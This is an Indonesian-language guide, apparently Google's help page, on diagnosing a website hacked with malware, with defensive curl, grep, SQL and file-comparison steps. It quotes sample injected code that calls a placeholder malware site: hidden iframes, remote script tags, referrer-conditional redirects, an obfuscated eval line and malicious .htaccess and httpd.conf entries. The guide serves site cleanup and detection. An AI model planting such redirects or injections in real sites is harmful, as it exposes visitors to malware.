Diretas dengan malware

Malware adalah software atau aplikasi seluler yang didesain khusus untuk merusak komputer, perangkat seluler, software yang dijalankannya, atau penggunanya. Untuk informasi selengkapnya tentang apa yang dimaksud dengan malware, lihat Malware dan software yang tidak diinginkan.

Jika situs Anda berisi malware, pengguna biasanya akan melihat peringatan "Situs ini dapat membahayakan komputer Anda" ditampilkan di hasil penelusuran atau di halaman interstisial yang ditampilkan oleh browser saat pengguna mencoba mengunjungi situs Anda, kira-kira seperti ini:

Halaman interstisial malware representatif
Hasil penelusuran dengan peringatan malware.

Anda akan memerlukan hal berikut:

  • Akses administrator terminal atau shell ke server situs Anda: web, database, dan file.
  • Mengetahui perintah shell atau terminal.
  • Kemampuan untuk menjalankan kueri SQL pada {i>database<i}.

Persiapan

  • Daftar ke Search Console dan verifikasi kepemilikan situs Anda yang diretas seperti yang dijelaskan di sana. Search Console memberikan contoh halaman yang terpengaruh, yang memudahkan penemuan dan perbaikan masalah peretasan dengan malware. Selain itu, Anda akan diperingatkan saat situs Anda terdeteksi terpengaruh oleh berbagai jenis malware atau peretasan lainnya.
  • Lihat halaman diagnostik Google Safe Browsing untuk mendapatkan informasi publik tentang apakah suatu situs berpotensi berbahaya bagi pengguna atau tidak. Anda dapat melihat status listingan untuk halaman atau situs di URL yang mirip dengan ini: https://transparencyreport.google.com/safe-browsing/search?url=***&lt;&lt;page_or_site>>*** Misalnya: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> dapat berupa URL halaman tertentu (http://example.com/badpage) atau seluruh situs Anda (example.com).

  • Hindari menggunakan browser untuk melihat halaman di situs Anda. Karena malware sering kali berkembang dengan memanfaatkan kerentanan browser, membuka halaman yang terinfeksi malware di browser dapat merusak komputer Anda. Kecuali jika petunjuk diagnosis mengatakan mengakses halaman secara langsung di browser, gunakan cURL atau Wget untuk melakukan permintaan HTTP (misalnya, untuk mengambil halaman).

    Alat yang tersedia secara gratis ini sangat membantu dalam mendiagnosis pengalihan, dan memiliki fleksibilitas untuk menyertakan informasi perujuk atau agen pengguna. Menyertakan perujuk atau agen pengguna tertentu sangat membantu dalam meniru peretas, karena peretas mungkin hanya menyajikan konten berbahaya kepada pengguna dengan agen pengguna atau perujuk tertentu untuk menargetkan lebih banyak "orang nyata" dan menghindari deteksi dari pemilik situs dan pemindai malware.

`curl -v --referer "http://www.google.com" <your-url>`

Berikut adalah contoh yang menentukan agen pengguna dan perujuk:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Sebaiknya ambil halaman dengan dan tanpa --referer "https://www.google.com", karena beberapa malware hanya diaktifkan saat pengguna berasal dari hasil Google Penelusuran.

  • Buat dokumen untuk mencatat penemuan dari langkah ini. Dokumen ini akhirnya akan menyertakan (minimal) nama dan lokasi setiap file yang rusak serta catatan tentang cara file terinfeksi, dan akan menjadi dasar untuk Membersihkan dan memelihara situs Anda.

  • Tonton video sebelumnya di halaman ini untuk melihat cara kerja malware dan cara agar Anda tetap aman selama penyelidikan malware.

Diagnosis

Ketahui malware yang memengaruhi situs Anda:

  1. Buka laporan Masalah Keamanan untuk situs Anda di Search Console. Luaskan deskripsi peringatan malware untuk melihat daftar contoh halaman yang terpengaruh. Perhatikan bahwa daftar ini tidak lengkap; Anda mungkin tidak mendapatkan halaman contoh untuk semua jenis malware di situs Anda.
  2. Uji halaman contoh Anda untuk jenis malware berikut.

Malware konfigurasi server (pengalihan yang tidak diinginkan)

Peretas telah menyusupi situs Anda dan mengalihkan pengunjung dari situs Anda yang bagus ke situs serangan malware mereka, kemungkinan dengan cara memodifikasi file konfigurasi server. File konfigurasi server biasanya memungkinkan administrator situs menentukan pengalihan URL untuk halaman atau direktori tertentu di situs. Misalnya, di server Apache, ini adalah file .htaccess serta httpd.conf.

Diagnosis

Buka beberapa contoh URL yang ditampilkan dalam laporan Masalah Keamanan. Respons dari halaman yang terinfeksi infeksi "konfigurasi server" dapat mencakup header berikut:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Menentukan file yang terpengaruh

Login ke server Anda melalui akses shell atau terminal (situs dapat offline jika Anda mau) dan tinjau file konfigurasi server yang relevan. Mungkin ada lebih dari satu file konfigurasi server yang diretas di situs Anda. Periksa file ini untuk menemukan perintah yang tidak diinginkan, seperti mengalihkan ke situs yang tidak dikenal. Misalnya, dalam file .htaccess, Anda mungkin melihat pengalihan yang terlihat seperti ini:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

Injeksi SQL

Peretas telah menyusupi database situs Anda. Misalnya, peretas mungkin telah memasukkan kode berbahaya secara terprogram ke dalam setiap catatan tabel database, sehingga saat server memuat halaman yang memerlukan informasi dari database, kode berbahaya tersebut kini disematkan dalam konten halaman dan dapat membahayakan pengunjung situs.

Diagnosis

  1. Jalankan beberapa kueri pada URL yang terpengaruh di command line, dan periksa respons untuk kata serangan SQL seperti "iframe" atau "eval".
  2. Login ke server database atau lihat database Anda melalui alat seperti phpMyAdmin. Jika Anda menggunakan Wget atau cURL, coba korelasikan kerusakan yang ditemukan di kode sumber halaman melalui Wget atau cURL dengan entri database yang sebenarnya. Misalnya, jika melihat halaman Anda menyertakan iframe berbahaya, Anda dapat melakukan penelusuran kueri SQL untuk kode iframe. Contoh:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. Sebaiknya periksa juga log database dan file error di server Anda untuk menemukan aktivitas yang tidak biasa, seperti perintah SQL tidak terduga yang tampak tidak biasa untuk pengguna reguler atau error.

Perbaiki masalah

Perbarui setiap rekaman database yang terinfeksi, atau pulihkan cadangan database yang terakhir diketahui.

Injeksi kode

Halaman di situs Anda telah diubah untuk menyertakan kode berbahaya, seperti iframe ke situs serangan malware.

Diagnosis

Kunjungi beberapa contoh URL yang ditampilkan dalam laporan Masalah Keamanan dengan cURL atau wGet dan periksa kode yang mencurigakan. Kode yang dimasukkan dapat memerlukan banyak jenis, dan bisa sulit ditemukan. Penelusuran kata seperti "iframe" mungkin dapat membantu untuk menemukan kode iframe. Kata kunci lain yang bermanfaat adalah "script", "eval", dan "unescape". Misalnya, untuk menelusuri semua file "iframe" di sistem berbasis Unix:

$grep -irn "iframe" ./ | less</pre>

Berikut ini beberapa pola {i>malware<i} umum yang harus dicari.

Iframe yang memuat situs berbahaya:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript atau bahasa skrip lain yang memanggil dan menjalankan skrip dari situs penyerang:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Skrip yang mengalihkan browser ke situs penyerang:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Kode berbahaya yang di-obfuscate untuk menghindari deteksi:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

File objek bersama yang didesain untuk menulis kode berbahaya secara acak ke skrip yang tidak berbahaya:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Template error berbahaya

Template yang digunakan untuk pesan error, seperti 404 File not Found, dikonfigurasi untuk mendistribusikan malware. Dengan cara ini, penyerang dapat menyerang URL yang bahkan tidak ada di situs Anda.

Diagnosis

Minta halaman di situs Anda yang tidak ada, atau yang menampilkan jenis error lain, dan periksa responsnya untuk melihat apakah halaman tersebut berasal dari situs lain atau berisi malware.

Perbaiki masalah

Login ke server web Anda dan telusuri file konfigurasi server untuk menemukan perintah halaman error. Misalnya, template error untuk server web Apache dapat dideklarasikan dalam file .htaccess. Berikut adalah contoh entri file .htaccess yang mengambil halaman error 404 dari situs berbahaya:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Setelah siap untuk membersihkan situs Anda, ganti file .htaccess dengan cadangan terakhir yang bagus, atau hapus perintah ErrorDocument yang tidak diinginkan pada file .htaccess yang sudah ada. Pastikan juga untuk membersihkan file error yang sebenarnya jika ada di situs Anda. Terakhir, mulai ulang server web Anda untuk memastikan semua perubahan diterapkan.

Pemuatan resource dari situs yang disusupi atau berbahaya {promise-resources}

Situs Anda menggunakan konten atau resource dari situs yang diketahui berisi konten berbahaya. Ini bisa berupa file JavaScript, gambar, atau file lainnya. Oleh karena itu, situs Anda akan ditandai karena malware yang dimuat dari situs lain tersebut.

Diagnosis

Buka beberapa contoh URL yang ditampilkan dalam laporan Masalah Keamanan.

Perbaiki masalah

  1. Konfirmasi masalah dengan menjelajahi beberapa contoh URL yang tercantum dalam laporan Masalah Keamanan di Search Console. Anda akan melihat peringatan browser.
  2. Peringatan browser akan memberi tahu Anda domain konten yang dipermasalahkan. Hapus semua referensi ke situs yang ditandai yang tercantum dalam peringatan browser. Jika konten dari situs yang ditandai disertakan tanpa sepengetahuan Anda, masalahnya akan lebih serius. Kemungkinan besar situs Anda telah disusupi, dan Anda harus terus memeriksa peretasan dan kerentanan lainnya di situs Anda.
  3. Jika Anda sengaja menyertakan konten dari situs sah yang ditandai dan ingin menyertakan kembali konten tersebut setelah situs yang ditandai dibersihkan, Anda dapat memantau status situs yang ditandai menggunakan halaman diagnostik Google Safe Browsing untuk situs tersebut (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. Pemilik situs yang sah biasanya membersihkannya dengan cepat.

Penyelidikan tambahan

Selanjutnya, periksa apakah ada file berbahaya tambahan atau perubahan di sistem Anda. Peretas mungkin telah memodifikasi halaman atau data database yang ada, membuat halaman berisi spam yang benar-benar baru, menulis fungsi yang menampilkan spam di halaman yang bersih, atau "pintu belakang" kiri yang memungkinkan peretas login kembali ke situs Anda, atau memasukkan kembali kode berbahaya yang telah Anda hapus.

Jika situs Anda online, pertimbangkan untuk membuatnya offline untuk penyelidikan ini.

Jika Anda memiliki cadangan situs yang baik, tentukan file mana yang telah dibuat atau diubah setelah pencadangan dan menyelidikinya. Pada sistem berbasis Unix, Anda dapat menggunakan perintah berikut untuk menemukan file baru:

diff -qr <current-directory> <backup-directory>

Contoh:

diff -qr www/ backups/full-backup-20120124/

juga:

md5sum <current-page> <backup-page>

Contoh:

md5sum www/page.html backups/full-backup-20120124/page.html

Periksa server, akses, dan log error untuk melihat apakah ada aktivitas mencurigakan seperti upaya login yang gagal, histori perintah (terutama sebagai root), dan pembuatan akun pengguna yang tidak dikenal. Perlu diketahui bahwa peretas mungkin telah mengubah log tersebut untuk tujuan mereka sendiri. Beberapa contohnya ditunjukkan dalam video untuk Mengidentifikasi kerentanan.

Periksa pengalihan pada file konfigurasi. File konfigurasi Anda biasanya bernama .htaccess dan httpd.conf. Peretas sering membuat pengalihan bersyarat berdasarkan agen pengguna, waktu, atau perujuk. Jika perlu mengupdate file konfigurasi, Anda mungkin perlu memulai ulang server agar perubahan diterapkan.

Periksa izin folder dan file yang terlalu longgar. Peretas mengganggu izin karena jika izin yang longgar tetap tidak terdeteksi oleh pemilik situs, peretas akan memiliki cara untuk masuk kembali ke situs tersebut. File yang lebih besar dari 644 (rw-r--r--) dan folder yang lebih besar dari 755 (rwxr-xr-x) dapat menyebabkan masalah keamanan. Pastikan semua izin yang lebih longgar benar-benar dibutuhkan. Pada sistem berbasis Unix, coba:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

dan:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Jika Anda memiliki database, selidiki catatan satu per satu, menggunakan alat seperti phpMyAdmin.